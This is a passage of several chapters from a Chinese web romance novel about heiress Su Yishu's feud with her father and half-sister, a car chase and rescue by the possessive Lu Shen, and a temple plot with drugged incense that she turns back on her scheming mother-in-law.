苏亦姝脚下未停,眼神凉凉地扫过苏可人坐着的位置——那是母亲曾经的座位,现在却被苏可人沾染了。
“不用了,怕倒胃口。”苏亦姝拉开长桌最末端的椅子坐下,姿态疏离冷漠。
苏振东脸上的笑容僵了一下,眼底闪过一丝恼怒。
但想到陆慎和分公司的势头,他又硬生生压下了火气。
“亦姝啊,早上的事情我也听说了,这件事都是误会,不怪可人。”
苏振东举起酒杯,试图粉、饰、太、平。
“咱们毕竟是一家人。你看,现在你在陆慎那边说得上话,可人呢,肚子里怀着陆家的金孙。你们姐妹俩要是联手,咱们苏家在江城的地位,谁还敢撼动?”
他浑浊的眼里闪烁着贪婪的光,毫不掩饰自己的算盘。
“你们姐妹俩联手,一面抓着当家人,一面抓着继承人,咱们苏家在江城的地位,谁还敢撼动?到时候,整个苏氏都是你们的。”
苏亦姝看着苏振东那张一张一合的嘴,心中冷笑连连。
这就是她的好父亲。把两个女儿当成筹码,两头下注,想要通吃。
“一家人?姐妹联手?”苏亦姝端起面前的白水,轻抿一口,语气淡漠。“爸,您是不是忘了?我妈只生了我一个。至于这位……”
她目光如利刃,狠狠刮过苏可人的脸,声音轻蔑。“一个不知道从哪个阴沟里爬出来的玩意儿,也配跟我称姐妹?”
“苏亦姝!”苏可人伪装的柔弱瞬间破功,她尖叫出声,手中的筷子“啪”地摔在桌上,“你别给脸不要脸!我现在怀的可是陆家的继承人!我是陆家的大功臣!”
“可人!闭嘴!”苏振东厉声呵斥,转头看向苏亦姝,眼神里带着警告,语气却依旧温和。
“亦姝,这种意气用事的话以后少说。陆慎虽然现在掌权,但老爷子最看重的还是血脉。可人肚子里的孩子,就是陆家的未来。你帮可人,也就是在帮你自己。”
说着,他给苏可人使了个严厉的眼色。
“还愣着干什么?还不快给你姐姐敬酒道歉!今天这顿饭,就是为了让你们姐妹俩冰释前嫌!”
苏可人死死咬着嘴唇,眼底满是**。
但在苏振东阴沉的注视下,她不敢反抗。她站起身,颤抖着手倒了一杯红酒,走到苏亦姝面前。
她站起身,颤抖着手倒了一杯红酒,走到苏亦姝面前,咬碎了牙往肚子里咽。
“姐……姐姐。以前是我不懂事,惹姐姐生气了。请姐姐原谅我。”
苏亦姝靠在椅背上,双手抱胸,静静地看着举到面前的酒杯,眼神像是在看一个小丑。
一秒,两秒,一分钟……苏可人的手开始发酸颤抖,脸上的表情也快挂不住了。
“亦姝,差不多行了。”苏振东沉声道,语气中透着不耐,“给你妹妹一个台阶下。”
苏亦姝轻笑一声,眼底闪过一丝寒芒。“好啊,既然妹妹这么有诚意。”
她突然伸手接过酒杯。
苏可人刚松了一口气,眼底闪过一丝得意——苏亦姝,你还不是得向我低头?
然而下一秒,苏亦姝手腕优雅地一翻——“哗啦!”
鲜红的酒液直接倾倒在了苏可人的脚边,飞溅的酒渍瞬间染红了她那条纯白的裙摆。
“啊!”苏可人惊叫着后退,有些狼狈。
“苏亦姝!你干什么!”苏振东猛地拍案而起,怒不可遏。
“这酒,脏。我怕喝了烂肠子。”苏亦姝慢条斯理地抽出纸巾,一根根擦拭着并没有沾湿的手指,随后将纸巾团成团,精准地弹进垃圾桶。
她抬起头,眼神陡然变得锐利,直刺苏振东。
“爸,您让我帮她?您就不怕帮出个白眼狼来,最后把苏家连皮带骨吞了?”
“你什么意思?”苏振东眉头紧锁,敏锐地嗅到了一丝不对劲。
苏亦姝站起身,微微前倾,双手撑在桌面上,压迫感十足。
“爸,您精明一世,怎么就在这上面糊涂了?可您真以为……她这肚子里怀的,是陆家的金矿?”
她瞥了一眼面色惨白如纸的苏可人,似笑非笑。
“上个月中旬,我跟陆钦在望江市出差。妹妹说她也去了望江市,孩子也是那个时候怀上的,是吧?”
苏可人浑身一僵,瞳孔剧烈震颤。
“可是我怎么听说……”苏亦姝拖长了尾音,声音轻柔却致命,“妹妹在望江市可不是一个人
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,而是跟一个当地的混混同进同出,甚至还出入过酒店……”
“你……你胡说!!”苏可人声音尖锐得变了调,像是被踩了尾巴的猫。
苏振东的脸色瞬间沉了下来,从刚才的愤怒转为一种可怕的阴沉。
他是个商人,最在意的就是投资回报率。
如果苏可人怀的不是陆家的种,那他这段时间的投入不仅会打水漂,甚至可能因为“混淆陆家血脉”而得罪陆家,引来灭顶之灾!
“没有!爸!我没有!”苏可人慌乱地去拉苏振东的袖子,“是姐姐污蔑我!我根本不认识什么混混!”
苏亦姝看着苏振东眼底升起的怀疑,乘胜追击,再补一刀。
“爸,这种事我都能查到,您觉得陆慎会查不到?陆家要是真的认可她肚子里的种,为什么到现在都不把她接进老宅,只让她住在外面?陆慎是什么人,您比我清楚。别到时候竹篮打水一场空,连累了整个苏氏给她的野种陪葬。”
“苏亦姝!你闭嘴!你血口喷人!我要杀了你!”苏可人被戳中了死穴,发疯般想冲上来厮打,却被苏振东一把狠狠推开。
“你给我坐下!”苏振东一声暴喝,额头青筋暴起。
他转头死死盯着苏可人,眼神不再是之前的慈爱,而是充满了审视和算计。“你去望江市到底干什么了?跟那个男人什么关系?你肚子里的孩子,到底是谁的!说!”
“爸……我真的没有……孩子就是陆钦的……”苏可人哭得妆都花了,双眼怨恨地看着苏亦姝。
苏亦姝看着这一幕狗咬狗的好戏,拿起包,优雅转身。
“爸,瑞士那边的疗养费我会自己出。至于这种‘一家人’的饭,您还是留着慢慢享用吧。”
她踩着高跟鞋,头也不回地走出别墅,将身后的咆哮、哭喊和质问统统关在门后。
走出苏家大门,夜风微凉,吹散了苏亦姝身上的浊气。
她深吸一口气,紧绷的脊背终于放松下来。
看苏可人刚才那副惊慌失措的模样,看来她肚子里的种,还真有猫腻。
陆慎给的消息没错。
可是,陆慎只说了“混混”,却没给她那个男人的具体资料。
想要彻底锤死苏可人,还需要确凿的证据。
“难不成,真要去求那个疯子?”苏亦姝揉了揉眉心,心中烦躁。
她拉开车门,发动引擎,红色的玛莎拉蒂驶入夜色。
驶出一段路后,苏亦姝习惯性地扫了一眼后视镜。一辆黑色的无牌大众车,不远不近地吊在她后面。她加速,那辆车也加速;她变道,那辆车也跟着变道。
苏亦姝的心脏猛地提起,手心渗出冷汗。这绝对不是路过。
是苏可人那个所谓的“姘头”?还是……给自己发匿名短信的人?
她猛地踩下油门,车子如离弦之箭冲了出去,而身后的那辆车,却紧咬不放……
第十二章 以身为饵,他来了
夜色如墨,环山公路上,红色的玛莎拉蒂像一道濒死的残影,疯狂穿梭。
苏亦姝死死盯着后视镜,那辆黑色无牌大众像如影随形的厉鬼,始终保持着距离。
苏亦姝握着方向盘的手指因用力而泛青,指甲几乎刺进掌心。
“该死……”苏亦姝手心全是冷汗,油门已经踩到了底。
要找陆慎吗?
这个念头在脑海中闪过的瞬间,就被她生生掐灭。
陆慎那个疯子,最喜欢看她摇尾乞怜。
“苏亦姝,别认输。如果你连这几个杂碎都处理不掉,你凭什么从陆慎手里全身而退?”她咬着牙,在心里近、乎自虐地提醒自己。
后面的车跟得非常紧,却迟迟不撞上来,显然是想活捉。
苏亦姝脑海中闪过一个想法,如果她顺势被抓,是不是就能见到幕后的人?一时间,苏亦姝心底有些不确定。
眼神沉了沉,她决定赌一把,赌对方不敢在此时要她的命。
这是一个极度危险的局,她要以身为饵,吊出背后的执棋手。
“来吧,看看到底是谁等不及。”
苏亦姝眼神发狠,原本踩着油门的脚微微松了半分,故意露出了一个足以让对方超车逼停的破绽。
果然,后方的黑车发出一声轰鸣,猛地加速斜切,眼看就要将她逼向山壁的死角!
苏亦姝的心跳快到了嗓子眼,呼吸急促——
就在这时,变数陡生!
“轰——!!!”
一辆通体漆黑的改装悍马,以一种**式的速度从高坡横冲而下,它根本没有避让的意思,甚至在撞击的前一秒再次提速,蛮横地横在了玛莎拉蒂和黑车之间!
“砰!”
刺耳的金属摩擦声伴随着火星四溅,黑车直接被撞得原地打转,重重砸在山壁上,火星四溅,引擎盖瞬间变形冒烟。
苏亦姝猛地踩死刹车,惯性让她整个人狠狠撞在靠背上,大脑瞬间空白。
她惊魂未定地看去,只见悍马的车门推开,一双锃亮的黑色皮鞋踏在碎裂的挡风玻璃渣上。
是他!
陆慎走了下来。
他没有穿外套,黑色的衬衫领口微微敞开,袖口挽到小臂,周身笼罩着一股令人窒息的戾气。
“陆……陆慎?”苏亦姝推开车门,声音还在发颤。
陆慎没看她,径直走向那辆半废的黑车。
车门勉强打开,一个满脸横肉的混混满头是血地爬了出来,手里还攥着一把**。
“妈的,谁敢管老子的闲事……”
话音未落,陆慎闪电般出手,五指如钢扣,精准地扣住了对方握刀的手腕。
“咔嚓!”
骨裂的声音在寂静的深夜格外清晰。
“啊——!!!”
凄厉的惨叫划破长空。陆慎面不改色,反手夺过刀,面无表情地将刀刃抵在混混的掌心,用力一扎,直接将对方的手掌钉在了变形的车门上。
苏亦姝被这血腥的一幕惊得脸色惨白。
陆慎眼底一片猩红,他接过周轩递来的手帕,慢条斯理地擦掉指尖溅上的一滴血迹,声音冰冷。
“我养的猫,也是你能动的?”
混混疼得几乎昏死过去,陆慎一脚将他踹开,像丢掉一袋垃圾。
“处理掉。我要知道背后的人。”
交代完周轩,他转过身,一步步走向苏亦姝。
苏亦姝下意识想退,却被他一把攥住手腕,猛地一拽,整个人由于惯性狠狠撞在他坚硬的胸膛上。
“苏亦姝,你长本事了。”陆慎掐着她的下巴,力道大得几乎要捏碎她的骨头,他眼底闪烁着某种疯狂的怒火,“故意减速,以身为饵?你是觉得自己命长,还是觉得我陆慎连个女人都护不住,需要你玩这种自残的把戏?”
“我能解决……”苏亦姝倔强地回视,眼眶微红。
“你能解决个屁!”陆慎失控地低吼,他将她死死按在玛莎拉蒂那微烫的引擎盖上,高大的身躯带着极强的压迫感覆盖下来,“要是我晚来一分钟,你现在已经在公海的船上了!这就是你所谓的‘能力’?”
他低头,狠狠地吻住那张不服输的唇,疯狂掠夺着她的呼吸,舌尖扫过她唇上的伤口,带起一阵火辣辣的疼,那是带着血腥味的惩罚。
苏亦姝挣扎着,呜咽着,双手拍打他的肩膀,却换来他更有力的禁锢。
良久,陆慎微微退开,指尖暧昧地摩挲着她红肿的唇瓣,笑得残忍又迷人。
“既然大
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嫂这么喜欢寻求刺激,那今晚,我陪你玩个够。”
他不由分说地将她横抱而起,塞进那辆悍马的副驾驶,并落了死锁。
“陆慎!你放我下去!我的车还在那!”
“你的车会有拖车带走。”陆慎坐进驾驶位,猛地轰油门,车子如离弦之箭冲向黑夜深处。
“今晚,咱们换个地方。不仅要算算你‘自作聪明’的账,还要算算,你到底什么时候才肯学会乖乖听话……”
苏亦姝跌坐在座椅里,看着窗外飞速**的树影,心一点点沉了下去。
她引出了蛇,却没防住这头如影随形的狼。
陆慎私人公寓内。
陆慎的动作粗鲁且近、乎疯狂,他像是要将苏亦姝整个人拆吃入腹。
只要闭上眼,他脑海中浮现的就是在公路上,这个女人自作聪明地减速、任由黑车逼近的画面。
这个疯子,她竟然拿命去赌。
一想到差一点点,他就再也抓不住这只野猫,陆慎额角的青筋便暴跳如雷。
“求我……苏亦姝,求我……”陆慎俯身,灼热的呼吸喷在她的颈侧,声音哑得不成样子。“求我救你,求我别放手。别再玩那种以身为饵的游戏,我玩不起!”
苏亦姝被这种失控的索取弄得浑身颤栗,像是一叶在暴风雨中颠簸的小舟,除了攀附他,无处可逃。
“陆慎……疼……”她哑着嗓子求饶,眼角渗出破碎的水雾,“我……我求你……救我……求你,别放手……”
“记住你的话。再有下次,我就把你锁在这儿,让你这辈子都出不去。”
陆慎狠狠咬在她的肩膀上,留下一个鲜红的、属于他的烙印。
极致的纠缠过后,陆慎抱着虚脱的苏亦姝去了浴室。
温热的水流冲刷着两人的身体,陆慎的动作却变得异常轻柔。他仔细地避开她身上的淤青,为她擦干身体,然后像对待稀世珍宝一般,将她放进柔软的大床里。
“老实待着。”陆慎低声叮嘱了一句,转身进了浴室冲冷水澡。
苏亦姝侧躺在床上,长发铺散在枕头上。她有些疲惫地偏过头,目光漫无目的地移动。
却在触及床头柜上的一个相框时,瞳孔骤然紧缩。
第十三章 过往如烟,去拜拜
那是一张旧得边缘微微泛黄的照片。
照片里的女孩扎着马尾,笑容明媚,正侧头去亲吻身边少年的脸颊。
照片里的两人,正是苏亦姝和陆慎。。
而当年的陆慎,眼里还没有如今的暴戾与算计,满眼都是藏不住的青涩宠溺。
那是……大三那年,他们在校外过七夕时拍的。
原来,他还留着。
苏亦姝伸出颤抖的指尖,想要触碰那照片上的少年,心底压抑了许久的酸涩如同决堤的洪水,瞬间将她淹没。
就在这时,浴室门拉开,陆慎赤裸着上半身走了出来。
看到苏亦姝盯着相框发呆,陆慎脸上的柔情瞬间褪去,取而代之的是一种被剥开伤口的难堪与暴怒。
他大步上前,一把夺过相框,粗暴地扔进了抽屉里。
“怎么,看到这里还留着你的照片,是不是觉得很有成就感?”陆慎站在床边,居高临下地俯视她,语气极尽嘲讽,“是不是觉得我陆慎活该被你**?觉得我就算被你丢掉一次,也还是会像条狗一样守着你的旧照片自我感动?”
苏亦姝眼眶通红,张了张嘴。“陆慎,我没……”
“你没有什么?你没想过我会这么贱?”陆慎冷笑一声,眼底满是自嘲和恨意,“也是,你苏亦姝多清高啊。为了救苏氏,说嫁我大哥就嫁我大哥。现在的你,看着我这副离不开你的样子,心里一定在笑话我吧?”
苏亦姝别过脸,泪水顺着眼角滑进枕头里,无声却倔强。
陆慎见她这副模样,心底那把刀在疯狂搅动着,搅得血肉模糊。
他一把扯过睡袍披上,连头也不回地摔门而去。
书房里,烟雾缭绕。
陆慎一根接一根地抽着烟,火星在黑暗中明明灭灭。他恨苏亦姝的狠心,更恨自己的无能——明明知道她是**,却还是甘之如饴。
两个小时后,当陆慎终于平复了情绪,推开卧室门想要给苏亦姝上药时,却发现床上空空如也。
窗户大开着,冷风灌进来,吹散了最后一丝属于她的温度。
“苏亦姝!”
陆慎瞳孔骤缩,整个人如坠冰窟。他疯了一样冲下楼,甚至连外套都没穿。
直到他在监控里看到苏亦姝打车离开,并一路追踪到她自己的小公寓,确定那个女人已经安全进屋,他紧绷到快要断裂的神经才堪堪松开。
陆慎坐在车里,隔着一条街,抬头看着苏亦姝公寓里亮起的那盏微弱灯光。
夜色中,他疲惫地靠在驾驶座上,发出一声如困兽般的呢喃自嘲。
“苏亦姝,你赢了……你说走就走,可我,到底该拿你怎么办?”
他明明有一万种方法让她求生不得求死不能,可到头来,连她的一滴眼泪,都能让他溃不成军。
就在这时,他的手机突然震动。周轩发来一段视频。
视频里,是刚才那个混混,跪在地上,鼻青脸肿。
混混惊恐地说着:“这件事,不关我的事情,我只是……只是拿钱办事。我不知道给我钱的人是谁?我只知道,是个女人。那个女人,嗓音听上去年纪有些大,其他的,我什么都不知道……”
陆慎眼神一凛,所有的颓废瞬间被凌厉的杀意取代。
接下来连续五天时间,苏亦姝像一只旋转的陀螺,异常忙碌。
苏氏分公司顶层办公室。
“苏总,这是最新统计的散股持有名单,我们已经暗中拿下了7%。”
海绵将文件放下,语气中带着难掩的兴奋,“另外,您之前提拔的那几位一直被压制的业务主管,今天已经正式交接了核心部门。”
苏亦姝盯着窗外的江景,眼底满是清冷。
她这几天几乎切断了和陆家的所有联系,包括陆慎。
她在用这种高强度的忙碌告诉自己:只有握在手里的权和钱,才是真正的脊梁骨。
就在这时,手机响了。屏幕上跳动的“程丽梅”三个字,让她的眉心微微一跳。
犹豫片刻,便接通电话。
“亦姝啊。”电话那头的声音不再尖锐,反而透着一股沉静,“上次老宅的事,妈想了很久,确实是我太冲动,伤了咱们一家的和气。今晚……回来吃个饭吧。”
苏亦姝心生警觉,这个婆婆是什么性子,她最清楚。
“好。”她应声,语气滴水不漏。
陆家偏厅,晚饭格外清淡,甚至还供着一尊小佛像。
程丽梅转动着手中的佛珠,面色平和。
“亦姝,妈现在被你爷爷拿走了内宅权,倒也落得清净。”程丽梅给苏亦姝盛了一碗汤,叹了口气,“昨晚,我梦见阿钦了。他在那边过得不稳当,说是想家。我这心里啊,跟刀搅一样。我想着,过两天去望江市的万佛寺拜拜,给他做场法事。你是他的妻子,你陪我走一趟吧?”
望江市?苏亦姝心头一震。
程丽梅这番话说明得滴水不漏——梦中思子。哪怕苏亦姝知道有诈,可作为陆钦的**,这种要求她根本无法拒绝。
“妈既然有这份心,我自然陪着。”苏亦姝垂眸,掩去眼底的审视。
从程丽梅的住处出来,经过老宅主楼大厅,正巧撞见了二房母子。
“哟,这不是亦姝吗?”柯沁扭着纤细的腰肢走过来,她模特出身,即便上了年纪,加上保养得宜,身段依旧火辣。现在接管了老宅内务,眉梢眼角都带着藏不住的得意,“好久没看到你了,听说你忙苏氏分公司的事,累坏了吧?瞧瞧这小脸,都白了。”
“多谢二婶挂心。”苏亦
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姝柔声应道,礼貌却疏离。
站在一旁的陆域,目光直勾勾地落在苏亦姝曲线玲珑的身段上。
他比陆钦晚一个月出生,却事事被陆钦压一头,现在又是陆慎。
在他看来,陆钦都**,自古以来,嫂子都是由弟弟继承,他作为陆家老二,理应由他来顺承。
这个女人,那张脸,整个江城没几人能比。如果能把这个女人弄到手,还能掌握大房那一半的资源和苏氏股份。
“亦姝,听说大伯母要带你去望江市?”陆域压下眼底的垂涎,故作大方地问道。
苏亦姝轻轻点头,语气诚恳。“是,妈梦见阿钦了,想去万佛寺祈福。二婶要不要一起去拜拜?正好也给二叔和爷爷祈一祈平安,人多才显得心诚。”
柯沁正要推辞,寺庙那种地方她可不想去。
可陆域却眼神一亮,抢先开口道:“正好,我这几天在望江那边也有生意要谈。既然大伯母和亦姝要去,我这个做兄弟的自然要护送,顺便也给大哥上炷香。”
苏亦姝嘴角勾起一抹若有若无的弧度。“那便有劳了。”
她要的就是这种局。程丽梅引她去望江市,虽然不清楚目的,但,把这摊水搅得越浑越好。只有人多了,那些藏在暗处的鬼才敢露头。
苏亦姝走出老宅大门,刚要下、台阶,却猛地撞上了一堵肉墙。
熟悉的雪松香气混杂着一丝烟草味,让她心头剧颤。
陆慎不知何时站在了台阶下,指尖的烟已经燃了大半,烟雾模糊了他的面容,唯独那双眸子,在夜色中阴沉得像要**。
“陆……陆总。”苏亦姝稳住身形,客气地打了个招呼。
陆慎没说话,目光略过她的肩膀,看向大厅里还没散去的二房母子。他刚才分明听到了苏亦姝主动邀请陆域同行的声音。
“去万佛寺?”陆慎的声音极低,像从牙缝里挤出来的。
“是,妈的安排。我还有事,先走了。”苏亦姝感觉到他周身散发的低气压,不想在此时与他纠缠,低着头急匆匆地从他侧身越过,脚步快得近、乎逃跑。
陆慎站在原地,指尖猛地收紧。
香烟在他指间被生生折断,火星灼痛了掌心,他却浑然不觉。
苏亦姝,你宁愿去求二房那两个蠢货,宁愿跟陆域那种垃圾同行,也不肯回头看我一眼?
“周轩。”陆慎冷冷开口,语气森然,“万佛寺那边,安排好了吗?”
“陆总放心,都安排好了。只是……”周轩有些犹豫,“大夫人那边好像还留有后手,我们要不要……”
“让她去折腾。”陆慎转过头,看着苏亦姝远去的车影,嘴角勾起一抹残忍的弧度,“如果不让她感觉到绝望,她永远学不会……听话!”
第十四章 单方**,去万佛寺
临行前的深夜,江城落了雨。
苏亦姝在贺婉的病床前坐了两个小时。
她拉着母亲枯槁的手,声音低得只有两人能听见。“妈,明天海绵会送你去瑞士。在那边,没人能拿你威胁我。别怪女儿不能亲送,只有我留在江城,吸引所有人的目光,你才是安全的,苏振东也不会盯着你这边。”
她自嘲地笑了笑,眼眶温热。
“妈,明天……我就跟程丽梅去万佛寺,我知道,此行估计不会太平,但是,您教过我,躲避不是解决问题的途径,要面对。所以,女儿会去面对的。只是……”似乎想到了什么,苏亦姝哽咽了下。“女儿也不知道,还能坚持多久……”
走出医院,冷风扑面,苏亦姝刚按亮车灯,便看到了那个倚在她车旁的男人。
陆慎穿着一件黑色风衣,指尖一点猩红在雨幕中明明灭灭。
他已经五天没合眼了,脑子里全是这个女人。不找她,她便真的销声匿迹,狠心至极。
“陆总,这么巧,在这公干?”苏亦姝落落大方地走近,客套得过分干脆。
陆慎盯着她那张平静得毫无波澜的脸,胸腔里的躁动几乎要破土而出。
他想起了那个晚上,她在公寓里汗湿的长发,她哭着求饶的破碎声,以及她动情时紧紧攀附他的双臂。
可现在,她又恢复了那冷漠无情的模样。
“苏亦姝,你知道去万佛寺意味着什么吗?”陆慎嗓音沙哑,透着一股压抑的怒火,“程丽梅既然敢引你出江城,就没打算让你全须全尾地回来。”
“我知道。”苏亦姝面色不改,“但那又如何?不去,她总有下一个借口。而且,也躲不过。”
“苏亦姝,你是忘了那晚怎么答应我的,还是觉得我陆慎真的弄不死你?”陆慎猛地攥住她的手腕,力道大得像是要将她的骨头捏碎。
苏亦姝吃痛,眉头微蹙,却冷笑一声。
“陆总,程丽梅思念亡子,我这个当儿媳的,推得掉吗?名义上,我是陆钦的妻子。”
【陆钦的妻子】这五个字,像是一把淬了毒的钢钉,狠狠扎进陆慎的心脏。
他眼底的理智瞬间崩塌,嘴角勾起一抹残忍而自嘲的弧度。
“陆钦的妻子……苏亦姝,你还真是**得无可救药。现在跟我强调身份?在我床上求饶的时候,你怎么不记着自己是大嫂?还是说,你就喜欢这种**的禁忌,追求那种背德的刺激……”
“啪!”
清脆的掌声在寂静的停车场回荡。
苏亦姝浑身颤抖,掌心火辣辣地疼。
她双眼猩红,眼底蓄满了委屈却倔强地发狠地看着陆慎。
“是,我就是**,我就是肮脏!既然如此,还请高高在上的陆总离我这个**远点,免得弄脏了您的手!”
她猛地甩开他的禁锢,拉开车门,动作一气呵成。
引擎发出愤怒的咆哮,红色玛莎拉蒂如一道决绝的流光,冲入雨幕。
陆慎站在原地,半边脸颊隐隐作痛。他看着那消失在雨中的红影,周身的戾气渐渐散去,取而代之的是一种嘲讽黯然的颓然。
他抬起手,摸了摸被打的地方,自嘲地呢喃:“还真是……活该啊。”
他明明想让她求他,想保护她,可一开口,却成了伤她最深的利刃。
雨刮器疯狂地摆动,苏亦姝死死握着方向盘,眼前的视线被泪水模糊。
刚才那一巴掌,几乎用尽了她所有的力气。她恨陆慎的恶言相向,更恨自己在那一刻竟然生出一种“他会不会再出现救我”的软弱。
她咬破了唇瓣,咸腥的味道在口腔蔓延。
苏亦姝,别哭。苏家是火坑,陆家是地狱。你只能靠你自己。
她一路疾驰回到
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公寓,机械地收拾行李,在脑海中复盘明天可能发生的事情。明天,不仅是程丽梅的局,也是她的局。
翌日一早,陆家老宅。
程丽梅穿着一身黑色的素服,手里掐着佛珠,正准备上车。她看向苏亦姝的眼神里藏着一丝阴毒。
然而,当她看到柯沁和陆域从老宅出来,拿着行李往另一辆车上搬,脸上的笑意瞬间凝固。
“二弟妹?陆域?你们这是……”程丽梅的声音拔高了几分,透着掩不住的恼怒。
柯沁摇着小扇子,笑得花枝乱颤。
“大嫂,亦姝说你要去给阿钦祈福,我想着大家都是一家人,正好也给家里的老爷子和子谦求个平安,就让陆域开车带我一起去,路上也好有个照应。”
“是啊大伯母,这一路山高路远的,我跟着,您和亦姝也安全。”陆域目光在苏亦姝身上转了一圈,不怀好意地帮腔。
程丽梅气得手里的佛珠都在发抖。她原本安排了人在路上截人,只要车里只有苏亦姝,一切都好办。可现在二房这两个蠢货横插一杠,打乱了她所有的部署。
“怎么,妈不欢迎二婶吗?”苏亦姝走上前,亲昵地挽住程丽梅的胳膊,笑得温婉动人,“我想着人多心诚,佛祖才会保佑阿钦在那边安生。您说是吧?”
程丽梅死死盯着苏亦姝,从牙缝里挤出一个字。“是。”
她转过身,看向身后那辆紧随其后的黑色保镖车,眼底闪过一丝狠戾。
既然你们都想跟着送死,那就一起去地狱给阿钦陪葬吧!
三辆车各怀鬼胎,缓缓驶出陆家老宅,朝着望江市的方向疾驰而去。
而此时,在不远处的阁楼窗口,陆慎正负手而立。他冷眼看着车队离去,拨通了一个号码。
“不管是谁,只要动了苏亦姝,直接沉江!不计代价,护苏亦姝安全。”
第十五章 置之死地,佛门反杀
万佛寺,古刹依山而建,香火袅袅中却透着股令人脊背发凉的肃杀感。
苏亦姝刚下车,海绵的电话就打了进来。
“苏总,夫人已经送上飞机了,我盯着起飞的。”
那一瞬,苏亦姝紧绷的脊梁才微微松了半分。
只要母亲安全离开江城,她在这万佛寺即便真的遇上刀山火海,也有了放手一搏的底气。
程丽梅一身黑裙,面色苍白。走三步拜一拜,一副为亡子赎罪的虔诚模样。
苏亦姝跟在后头,看着程丽梅那微颤的背影。
“亦姝,你跟大师去看看做法事的大殿,顺便看看还有什么遗漏。”程丽梅转过头,眼神滑过苏亦姝的脸,语调平平,“惠恩大师,麻烦你了。”
“陆少夫人,请。”惠恩大师垂眸带路。
苏亦姝心中警铃大作。
程丽梅既然敢当着二房的面把她带离,定是准备了“铁证如山”的死局。她暗暗握紧包里那把特制的小型**,抬脚跟了上去。
走了大概五分钟,惠恩大师在一处偏僻的殿宇前驻足。
“少夫人,请进。”
苏亦姝刚跨入大门,身后便传来沉重的关门声。她猛地回身一拽,朱漆大门已从外面锁死。
空气中,一股甜腻到令人作呕的香气迅速弥漫开来。
苏亦姝瞳孔一缩——是催情香,且分量极重。
她没有丝毫犹豫,反手抽出**,在自己的左手掌心狠狠划了一道!
钻心的疼痛伴随着温热的鲜血涌出,瞬间撕裂了脑海中升腾的眩晕感。
她必须保持清醒,这种局,一旦失控便是万劫不复。
“吱呀——”
后窗被推开的声音打破了死寂。
陆域跳了进来,手里捏着一张小纸条,笑得邪佞而贪婪。“大嫂,约我来这僻静地方,是想让我怎么‘疼’你?”
苏亦姝靠在冰冷的佛像座基上,手心的血顺着指尖滴落在青石板上,红得惊心动魄。
“陆域,你长点脑子。”她声音清冷如冰,“看看你手里那张纸,你觉得我会蠢到在给陆钦做法事的偏殿约你?”
陆域步步逼近,被那股甜腻的香气熏得眼底猩红,伸手便朝苏亦姝削瘦的肩膀抓去。
“大嫂,大哥命短,让你这种人间尤物守活寡真是暴殄天物。你放心,今天之后,我就是你的依靠……”
“你真以为程丽梅会给你这么好的机会?”苏亦姝身形一闪,**在陆域的小臂上留下一道血痕。
陆域吃痛,瞬间清醒了几分。
苏亦姝盯着他的眼睛,字字诛心。“外面现在站着程丽梅、你妈,还有这望江市有头有脸的居士。只要你今天碰了我,你就是陆家沾染嫂嫂的畜生。你觉得,陆家会把继承权给一个名声烂透了的混账?陆域,你只是程丽梅手里的一颗棋子,她要的事毁掉我,也要你和你妈……彻底滚出陆家!”
陆域浑身一僵,外面的脚步声已经由远及近,程丽梅那刻意拔高的嗓音隐约传来。
“大师,亦姝在大殿里待了这么久没出来,我这心里实在是不踏实……”
“该死!那**算计我!”陆域慌了,环顾四周,这大殿被锁得死死的。
苏亦姝却在这一刻冷静得可怕。她看向大殿中央那尊悲悯苍生的金佛,脑海里浮现出陆慎那张脸,她摇了摇头,甩掉那些有的没的。
“想活命吗?”苏亦姝看向陆域,“想活,就按我说的做。”
苏亦姝听着外面的动静,眼底寒芒乍现。
她没有去开门,反而迅速将自己被划伤的左手藏入衣袖,然后一把扯下脖子上的围巾,死死勒住陆域受伤的手臂。
“大嫂,你……”陆域疼得直吸冷气,刚要喊叫,苏亦姝带血的**已经抵在了他的颈侧。
“闭嘴!”苏亦姝的声音低得令人胆寒,“现在外面全是人。你想让所有人看到你跟我关在一起?你想让你妈当场看到你调戏嫂子的丑闻,从此被爷爷逐出家门?”
陆域被吓住了,虽然药力还在,但求生的本能占据了上风。
“那……那怎么办?”
苏亦姝眼神决绝,指着那扇高处的通风天窗。“从那儿跳出去,现在!立刻!”
“那外面是后山……”
“不跳,我现在就喊捉贼,让你名声扫地!”
陆域看着苏亦姝那双狠厉的眼,知道这个女人真的做得出来,只能忍着痛,跌跌撞撞地攀上佛像基座,从通风口翻了出去。
门外,程丽梅带着柯沁和几位名流,已经走到了门口。
“亦姝?你在里面吗?”程丽梅嘴角勾起一抹残忍的笑,对手下使了个眼色,“大师,门怎么锁了?快打开,别是里面出了什么事。”
就在陆域消失的一瞬间
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,大殿沉重的大门被推开。
“砰!”
然而,大殿内的景象却让程丽梅脸上的笑容瞬间寸断。
程丽梅原本已经做好了看到苏亦姝和陆域衣衫不整、苟且不堪的准备,甚至连那句“伤风败俗”的斥责都到了嘴边。
然而,大殿内空荡荡的,只有苏亦姝一人。
她孤零零地跪在佛像前,长发略显凌乱,脸色惨白如纸,手中还捏着陆钦的牌位,单薄的身影在摇曳的烛火下显得格外凄凉。
“妈,你们怎么才来……”苏亦姝转过头,声音带着一丝破碎的沙哑,眼眶通红。
程丽梅愣住了,视线在大殿内疯狂扫视,却连陆域的一根头发都没看到。
“亦姝,你怎么……陆域呢?”程丽梅变了脸色,脱口而出。
苏亦姝故作疑惑地看向程丽梅。“二弟不是在前院歇着吗?妈怎么问起这个?”
她缓缓站起身,因为失血过多,身子晃了晃,正巧露出了手边被打翻的那个香炉,里面的香灰撒了一地,掩盖了刚才那一丁点陆域留下的血迹。
“妈,刚才殿里突然进了只野猫,撞翻了香炉,还把门给带上了。”
苏亦姝走到程丽梅面前,步履维艰,声音却清清楚楚传到每一个人耳中。
“我在这殿内闻着这香味道古怪,正想找大师问问,你们就进来了。妈,这做法事的偏殿,用的香怎么会这么香腻?闻起来也不像是檀香味。”
此话一出,身后的几位居士脸色瞬间变了。
有人上前,捻起一抹香灰闻了闻。
“这里面……竟然有催情香……”
佛门净地,竟然出现这种淫邪之物,这简直是对亡者的大不敬。
“胡说!怎么会有这种!”程丽梅心虚地呵斥,却在看到那撒了一地的香灰时,心头狂跳。
“有没有,查查这炉灰就知道了。”苏亦姝目光如刃,直逼程丽梅,“妈,这法事是您亲自操办的,若是陆钦在天有灵,知道有人在他法事上动这种龌龊心思,怕是会死不瞑目。”
程丽梅被堵得一句话也说不出来,原本精心布置的“捉奸局”,现在却成了她“操办不力、亵渎佛祖”的铁证。
柯沁见儿子不见了,心思早已不在这里,敷衍了几句便借故离开去找人。
